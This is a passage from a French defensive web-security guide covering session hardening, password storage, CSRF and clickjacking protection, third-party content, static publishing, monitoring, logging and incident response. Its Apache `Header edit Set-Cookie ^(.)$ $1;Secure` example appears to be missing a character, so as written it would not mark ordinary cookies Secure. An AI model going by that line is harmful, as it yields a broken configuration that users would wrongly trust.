Le fonctionnement des sessions repose généralement sur la présence d'une valeur (identifiant de session) dans l'en-tête `Cookie` des requêtes HTTP émises par le client. Cette valeur est envoyée par le serveur lors de la création de la session (par exemple au moment de l'authentification) dans une en-tête HTTP `Set-Cookie` puis répétée dans le navigateur dans chaque requête émise vers le site concerné.

Ce mécanisme est intrinsèquement fragile en terme de sécurité. Il suffit à un attaquant de mettre une en-tête `Cookie` contrefaite dans les en-têtes HTTP qu'il envoie pour que ses requêtes soient attribuées à la session associée à cet identifiant et jouissent ainsi des privilèges de l'utilisateur légitime de la session. On parle de alors « vol de session ».

Il est donc nécessaire de s'appliquer à durcir ce mécanisme, à la fois en cherchant à éviter qu'un tiers puisse connaître l'identifiant de session d'un utilisateur et, lorsque c'est nécessaire, en doublant ce mécanisme par des éléments supplémentaires d'authentification des requêtes.

R19	Les identifiants de session doivent être aléatoires et d'une entropie d'au moins 128 bits.

Cette mesure a pour but d'empêcher un attaquant de « deviner » un identifiant de session par une technique de recherche exhaustive. La plupart des environnements logiciels web récents sont compatibles avec cette contrainte, elle n'exige donc dans la plupart des cas qu'une vérification du paramétrage. Il faut toutefois prendre garde à la respecter dans les très rares cas où l'on jugera opportun de développer soi-même un mécanisme de gestion des sessions.

R20	Il faut recourir à chaque fois que c'est possible au protocole HTTPS dès lors que l'on associe une session à des privilèges particuliers.

En chiffrant les communications au moyen de TLS, on empêche un attaquant qui « écoute » le réseau d'apprendre les identifiants de sessions. Certains sites ont recours à TLS uniquement pour la page d'authentification. Cela protège certes le mot de passe mais pas l'identifiant de session.

R21	Les attributs `HTTPOnly` et, dans le cas d'un site en HTTPS, `Secure` doivent être associés à l'identifiant de session.

Lorsque le navigateur client prend en charge ces attributs, `HTTPOnly` permet d'éviter que l'identifiant de session soit accessible aux scripts Javascript, ce qui permet de contrer certaines méthodes de vol de session. L'attribut `Secure` informe les navigateurs compatibles que l'identifiant de session ne doit transiter que par des connexion HTTPS, ce qui permet là encore de se protéger contre certaines attaques qui amèneraient le navigateur à transmettre l'identifiant à travers un lien réseau non sécurisé dans le but de le voler par écoute passive.

Exemple

Dans les versions récentes de PHP, ces attributs peuvent notamment être configurés dans le fichier `php.ini`, au travers des options `session.cookie_secure` et `session.cookie_httponly`.

Avec Tomcat 6 ou 7, il est possible d'adjoindre l'attribut `useHttpOnly="true"` à l'élément `Context` de la configuration associée au site. L'attribut `secure` est quant à lui ajouté automatiquement dès lors que le site est en HTTPS (sur les versions à jour de Tomcat). Attention toutefois, si la couche TLS est invisible de Tomcat (cas d'un reverse-proxy), ce ne sera pas le cas. Il est alors nécessaire de positionner manuellement cet attribut. On peut réaliser cette opération au sein du code Java. Alternativement, s'il est impossible d'intervenir sur le code de l'application, on peut agir sur l'attribut par réécriture sur le reverse-proxy. Ainsi, dans le cas d'un reverse-proxy Apache, le module `mod_headers` peut manipuler l'en tête `Set-Cookie`, par exemple en faisant :
`Header edit Set-Cookie ^(.)$ $1;Secure`

Par ailleurs, certains systèmes utilisent une variable GET (c'est à dire un composant de l'URL) pour passer l'identifiant de session. Cette approche est à proscrire car elle facilite grandement le vol de session, en plus d'exposer l'identifiant directement dans l'URL en cas de copier/coller.

Il est en outre possible de durcir un peu le mécanisme de session par diverses mesures :
- avoir une durée de validité des sessions relativement courte ;
- pour les opérations sensibles, exiger une réauthentification si la session est « ancienne » ;
- surveiller l'IP du client. Si celle-ci change pour une session donnée, on peut exiger une nouvelle authentification, au moins pour les opérations les plus sensibles ;
- dans le cas d'une authentification mutuelle, vérifier à chaque requête qu'un identifiant de session est toujours associé au même certificat client.

La bonne gestion des sessions doit bien entendu se doubler d'une bonne gestion des droits selon les bonnes pratiques habituelles : comptes nominatifs, vérification systématique des autorisations lors d'un accés à une ressource protégée, changement régulier des éléments d'authentification, gestion formalisée du cycle de vie des comptes, etc.

Il faut par ailleurs être prudent à la prévisibilité des URL. Certains sites reposent sur le postulat qu'un attaquant ne pourra pas deviner une autre URL que celle de la page d'accueil et sera limité aux liens dont il aurait pu avoir connaissance. Cette hypothèse est déjà très discutable dans le cas d'URL composées de plusieurs dizaines de caractères parfaitement aléatoires (les URL circulent souvent en clair, elles sont indexées par les moteurs de recherche et les historiques de navigation, elles sont présentes dans certains journaux (*logs*), etc.). Elle devient radicalement fausse lorsque la construction des URL suit une certaine logique. Ainsi, il est probable qu'un attaquant voyant une URL de la forme `http://www.example.org/doc?id=42` tentera de donner à `id` la valeur 41 ou 43 etc.

Stockage des mots de passe

Les sites web emploient souvent des mots de passe pour authentifier leurs utilisateurs. Dans le cas où ceux-ci sont gérés et stockés directement par le site, rappelons les bonnes pratiques suivantes :

R22	Les mots de passe ne doivent pas être stockés en clair mais dans une forme transformée par une fonction cryptographique non réversible conforme au Référentiel Général de Sécurité.

R23	La transformation des mots de passe doit faire intervenir un *sel* aléatoire.

Ces mesures sont des mesures de défense en profondeur offrant un certain niveau de protection contre un attaquant qui aurait réussi à accéder à la base des mots de passe. Elles ne protègent pas le site lui-même (un attaquant ayant accès aux condensats des mots de passe a dans la plupart des cas déjà compromis une bonne partie du site) mais elles protègent les utilisateurs qui sont susceptibles de réutiliser les mêmes mots de passe pour des services différents [5]. Il convient d'empêcher l'attaquant de connaître les mots de passe en clair, ou du moins de le ralentir dans sa recherche de ces mots de passe pour se donner une marge de temps suffisante afin de détecter l'intrusion et alerter les utilisateurs.

Protection contre les requêtes illégitimes

Les attaques du type XSRF ont pour objet d'amener un utilisateur légitime d'un site (ou plus précisément, à son insu, son navigateur) à y effectuer une requête HTTP dont le contenu est contrôlé en totalité ou en partie par l'attaquant.

Ce type d'attaques ne se base généralement pas sur une faille du site attaqué mais « rebondit » sur un site tiers vulnérable aux injections. Tout site est donc exposé au risque de recevoir des requêtes malveillantes semblant provenir d'utilisateurs légitimes.

Un certain nombre de mesures peuvent être prises pour faire obstacle à ce type d'attaques. Tout d'abord, les bonnes pratiques de gestion du cycle de vie des sessions (expiration dans un délai raisonnable et réauthentification pour les actions sensibles) constituent un premier rempart.

À ceci peut s'ajouter un contrôle du champ `Referer` positionné par la plupart des navigateurs contemporains dans les requêtes HTTP pour indiquer la page où se situe le lien qui a déclenché la requête considérée. Un attaquant peut bien entendu falsifier le contenu de ce champ. Il sera uniquement possible de contrer ainsi les attaques les plus élémentaires pour lesquelles le `Referer` ne sera pas cohérent avec le parcours normal du site.

Exemple

On peut imaginer que l'URL permettant le changement du mot de passe d'un utilisateur ne soit accessible que depuis la page de gestion du compte. Une requête vers cette URL avec un `Referer` différent de la page de gestion de compte pourrait donc être rejetée.

Une approche un peu plus complexe mais plus solide est de faire usage de « jetons » aléatoires. Lors de la génération d'une page contenant un formulaire sensible, on génére et stocke côté serveur une valeur aléatoire que l'on place dans un champ invisible du formulaire considéré. Lorsque le formulaire est validé, on n'accepte l'entrée que si le jeton est présent et correspond effectivement à un jeton généré récemment et non encore utilisé par une autre requête. De cette manière, on réduit drastiquement les opportunités d'attaques. La même logique est bien évidemment transposable aux liens générés avec un certain nombre de variables en GET auxquelles on peut ajouter une variable « jeton ».

Par ailleurs, l'en-tête `X-Frame-Options` qui est supportée par les versions récentes des principaux navigateurs permet de se protéger contre certaines attaques appelées *clickjacking*. Ce type d'attaques requiert généralement d'afficher la page victime dans un objet « frame » (cadre). En positionnant l'en-tête HTTP `X-Frame-Options: DENY` ou `X-Frame-Options: SAMEORIGIN` pour chaque élément servi,

5. Ce qui est contraire aux bonnes pratiques !

on indique au navigateur qu'il n'est pas autorisé à afficher l'élément dans un cadre ou, respectivement, que cela n'est légitime que sur une page du même domaine.

R24	Pour les actions sensibles, mettre en place des mécanismes permettant de s'assurer de la légitimité de la requête.

Inclusion de contenus externes

Certains sites web incluent directement des contenus provenant de services externes. Il peut s'agir de publicités, d'outils de statistiques, de scripts ou encore du recours à certains services tiers (cartographie, réseaux sociaux, etc.).

Il convient d'être prudent à ce sujet. Cette pratique n'est pas anodine car elle augmente la surface d'attaque du site. Un attaquant voulant placer un contenu malveillant peut tout aussi bien s'attaquer à un fournisseur externe qu'au site visé. Ainsi, un site A qui incorpore du contenu actif provenant d'un site B peut être amené à diffuser du code malveillant du fait de la compromission (ou de la malveillance) de B. Il est ainsi possible d'attaquer les clients de A en exploitant une vulnérabilité de B et ce même si A est très bien protégé par ailleurs.

En outre, cela permet la plupart du temps aux fournisseurs de contenus d'obtenir des informations sur le comportement des utilisateurs du site, ce qui ne représente pas toujours une information anodine.

Exemple

Un site *intranet* qui aurait recours à des services de cartographie, de statistiques ou de réseaux sociaux externes hébergés sur internet peut amener à une situation où, pour chaque page visitée par un client sur l'intranet, des requêtes sont envoyées par internet au fournisseur de service. Ces requêtes peuvent contenir l'URL de la page visitée sur l'intranet. Or il peut arriver que les URLs laissent transparaitre des informations, par exemple `http://intranet.example.org/actu/interne/projet-de-fusion-avec-foobar.php`

R25	Limiter au strict nécessaire les inclusions de contenus tiers. Effectuer au moins quelques contrôles élémentaires pour s'assurer de la fiabilité du fournisseur de contenu.

Passage à un paradigme statique

Beaucoup de sites actuels sont « dynamiques », c'est à dire que les pages servies sont générées à la volée suite à la requête du client en fonction d'un certains nombres de données. C'est notamment le cas pour les sites reposant sur des technologies telles que PHP, JSP ou ASP.

Cette approche permet notamment de gérer un contenu qui change de manière régulière, soit parce qu'il suit une actualité ou des données externes qui varient fréquemment, soit parce qu'il est alimenté par des entrées utilisateurs telles que des commentaires. Elle a toutefois le désavantage de nécessiter une plus grande « intelligence » au niveau du serveur, ce qui représente mécaniquement une plus grande surface d'attaque.

Une manière efficace de durcir un site est de passer les parties qui ne nécessitent pas une telle génération dynamique sur un paradigme statique.

Exemple

Il est fréquent qu'un site soit dynamique non pas parce qu'il fournit des services évolués mais simplement parce qu'il est basé sur un système de gestion de contenu permettant une édition plus efficace par les différents rédacteurs. Dans ce cas, l'aspect dynamique n'est en réalité utilisé que pour l'alimentation, pas lors de la distribution de son contenu aux clients. Il est alors possible de mettre en place un processus (automatisable) de publication grâce auquel le site peut être dynamique dans un environnement de "pré-production" pour être rendu statique, au moins pour les parties où c'est possible, avant la mise en ligne dans l'environnement de production. L'alimentation par les rédacteurs se fait alors bien entendu dans l'environnement de "pré-production".
Dans de nombreux cas, cette manipulation peut être réalisée sans difficulté avec un simple aspirateur de site tel que la commande `wget -r` sous Linux.

R26	Privilégier un paradigme statique chaque fois que c'est possible.

En particulier, lorsque le site cesse d'être actif et n'est conservé qu'à titre d'archive, il peut être opportun de le figer dans une forme statique. Les sites archivés tendent en effet à faire l'objet d'une attention moindre en terme de supervision et de maintien en condition de sécurité, ce qui en fait des cibles privilégiées pour toutes sortes d'attaques.

3 Réaction

Outre les mesures préventives présentées ci-dessus, un certain nombre de précautions permettent une meilleure réactivité lorsqu'un incident de sécurité survient.

3.1 Méta-informations

Une première mesure utile consiste à s'assurer que les points de contact techniques associés au site sont valides et donc maintenus à jour.

Il est recommandé [6] de s'assurer que les informations des bases « WHOIS » permettent de contacter (éventuellement par l'intermédiaire d'un prestataire) une personne responsable du site. En outre, l'enregistrement SOA de la zone DNS associée au site devrait lui aussi comprendre une adresse de courrier électronique valide permettant d'atteindre au moins indirectement le responsable du site. Ces précautions permettent aux différents acteurs susceptibles de constater (ou de suspecter) une attaque de la signaler.

R27	Un point de contact associé au site doit être facilement identifiable.

3.2 Détection des incidents

Un des objectifs de la politique de sécurité d'un site web doit être de détecter le plus tôt possible les incidents de sécurité. Il est en effet courant, lorsqu'on ne prend aucune précaution particulière, que la compromission d'un site web passe inaperçue pendant une période étonnamment longue.

6. Indépendamment des obligations résultant de la loi 2004-575 pour la confiance dans l'économie numérique.

3.2.1 Surveillance

R28	Le site web doit être régulièrement parcouru pour déceler toute anomalie.

Un simple parcours des principales pages du site permet de constater les défigurations les plus élémentaires. Il faut toutefois prendre garde au fait que certaines défigurations cherchent à être discrètes vis à vis de l'administrateur du site pour subsister plus longtemps. Il est par exemple possible que les pages légitimes soient servies pour les clients ayant une adresse IP associée à l'organisme victime tandis que des pages compromises sont servies aux autres clients. Il peut donc être intéressant de réaliser la veille depuis un accès Internet « démarqué » et idéalement pourvu d'une adresse dynamique. Par exemple, une solution à coût raisonnable pourrait être d'utiliser pour cela un accès 3G et non le réseau principal de l'organisation.

Une mesure complémentaire pour cette veille est d'utiliser les moteurs de recherche publics. Les services d'alertes en cas de nouveaux résultats pour une recherche prédéterminée peut être fort utile. L'apparition de résultats suprenants associés à son site indiquent vraissemblablement une compromission.

Exemple

Une requête à l'aide d'un moteur de recherche sur des termes tels que hack, warez, etc. associée à un critère du type `site:example.org` (pour n'effectuer la recherche que sur le domaine concerné) ne devrait pas retourner de résultats dans la plupart des cas, du moins si le site n'a pas légitimement vocation à diffuser des contenus en rapport avec ces termes !

Par ailleurs, il est recommandé de vérifier régulièrement l'intégrité du ou des répertoires stockant les fichiers associés au site web sur le serveur concerné, ainsi que l'intégrité de la configuration. Les changements légitimes devraient dans la plupart des cas être concentrés sur certains fichiers particuliers (typiquement la base de données) ou survenir à des moments bien identifiés, à l'occasion de mises à jour du site. L'apparition soudaine de nouveaux fichiers ou la modification de la configuration du serveur doivent déclencher une investigation.

Exemple

Il existe des outils dédiés au contrôle d'intégrité tels que TripWire, AIDE, etc.
Sur un système Linux, il est aussi possible de réaliser périodiquement des listings avec `mtree` stockés hors du serveur pour déceler les fichiers modifiés ou apparus.

Enfin, la supervision, qui est usuellement mise en place pour des objectifs métiers, présente des intérêts indiscutables en terme de sécurité. L'apport le plus évident est la possibilité de détecter de manière précoce une attaque en déni de service.

3.2.2 Journalisation

Comme pour la plupart des sytèmes, la journalisation est un composant précieux de la sécurisation d'un site web.

R29	Il est nécessaire de définir une politique de journalisation précisant notamment les modalités et les durées de conservation des différents journaux ainsi que les méthodes d'analyse et de corrélation des données produites.

Idéalement, les journaux devraient être transmis (par exemple via le protocole syslog) hors du serveur concerné, pour éviter qu'ils ne puissent être altérés de manière rétroactive par l'attaquant. Les journaux sont en effet un élément important de l'analyse a posteriori d'une intrusion.

Parmi les éléments à journaliser, outre les données classiques (IP du client, horodatage des requêtes, URL demandée, codes d'erreur, etc.), il peut être intéressant de journaliser les champs `Referer` des requêtes HTTP. Il est ainsi possible de voir les requêtes d'une provenance incongrue qui peuvent être révélatrice d'une compromission du site (par exemple si le client est arrivé sur le site par une recherche Google sur le terme « drug »). De même, il peut être utile de conserver le champ `User-agent`.

Exemple

Dans Apache, la journalisation de ces éléments est possible en incluant dans la directive `LogFormat` les éléments `%{Referer}i` et `%{User-agent}i`

Il est bien entendu important de ne pas se contenter de la journalisation du serveur web mais de combiner ces informations avec les autres journaux du système (tentative de connexion aux interfaces d'administration, pare-feu local, redémarrage du système, etc.).

Enfin, la politique de journalisation doit bien entendu être adaptée d'une part aux ressources disponibles pour l'exploitation et, d'autre part, au contexte spécifique du service offert.

Exemple

Dans le cas d'un système Linux, il est notamment possible de recourir à `auditd` pour tracer très finement certaines actions telles que l'accès à une ressource sensible, par exemple la clé privée associée au certificat X.509 du serveur.
Pour les systèmes Windows, le mécanisme de SACL permet de la même façon de tracer de manière très fine l'accès à certaines ressources.

3.3 Conduite à tenir en cas d'incident

S'il est bien sûr la plupart du temps crucial, en cas d'incident de sécurité, de rétablir au plus vite le fonctionnement normal, il convient de prendre un certain nombre de précautions.

Il est primordial, d'une part, de rassembler et de préserver toutes les informations disponibles pour permettre les investigations. En particulier, dans le cas d'un site hébergé chez un prestataire extérieur,

il important d'effectuer avec la plus grande diligence les démarches permettant d'obtenir les journaux couvrant la période d'investigation.

D'autre part, il est indispensable de s'assurer que le site remis en service ne comporte plus aucun élément malveillant. La version remise en service ne doit par ailleurs plus présenter la ou les vulnérabilités ayant permis l'attaque, faute de quoi le site risque fort d'être compromis à nouveau assez rapidement (probablement par les mêmes attaquants). Dans ce double objectif d'éviter de remettre en ligne du contenu malveillant ou des éléments vulnérables, la plus grande prudence est requise lorsque l'on cherche à rétablir en site par restauration d'une sauvegarde.

Les bons réflexes à adopter pour atteindre ces objectifs sont décrits dans le document http://www.certa.ssi.gouv.fr/site/CERTA-2012-INF-002/. Il est par ailleurs souvent opportun de se faire assister par des professionnels de la sécurité informatique (selon les cas, CERT, services de police, etc.).

4 Compléments d'information

Le lecteur est invité à compléter et actualiser les informations contenues dans le présent document grâce à des sources plus adaptées à son cas particulier et à jour des nouvelles menaces. Il est ainsi utile de se rapporter aux guides de sécurisation et aux bulletins de sécurité édités par les fournisseurs des solutions logicielles et matérielles mises en oeuvre.

Plusieurs sources génériques peuvent en outre fournir des informations utiles, notamment le site de l'OWASP www.owasp.org. Le document « OWASP secure coding practices quick reference guide » et les différentes itérations des « Top 10 » sont des sources d'information extrêmement appréciables pour les développeurs web.

Le site de l'ANSSI diffuse plusieurs guides de bonnes pratiques à l'adresse www.ssi.gouv.fr/bonnes-pratiques/. On y trouve en particulier des recommandations plus spécifiques pour la configuration sécurisée de certains systèmes, des équipements de filtrage, ou encore pour l'architecture des passerelles d'interconnexion.

Enfin, la consultation du site www.certa.ssi.gouv.fr permet d'obtenir des informations actualisées en permanence sur les vulnérabilités découvertes et les tendances en termes de menaces informatiques.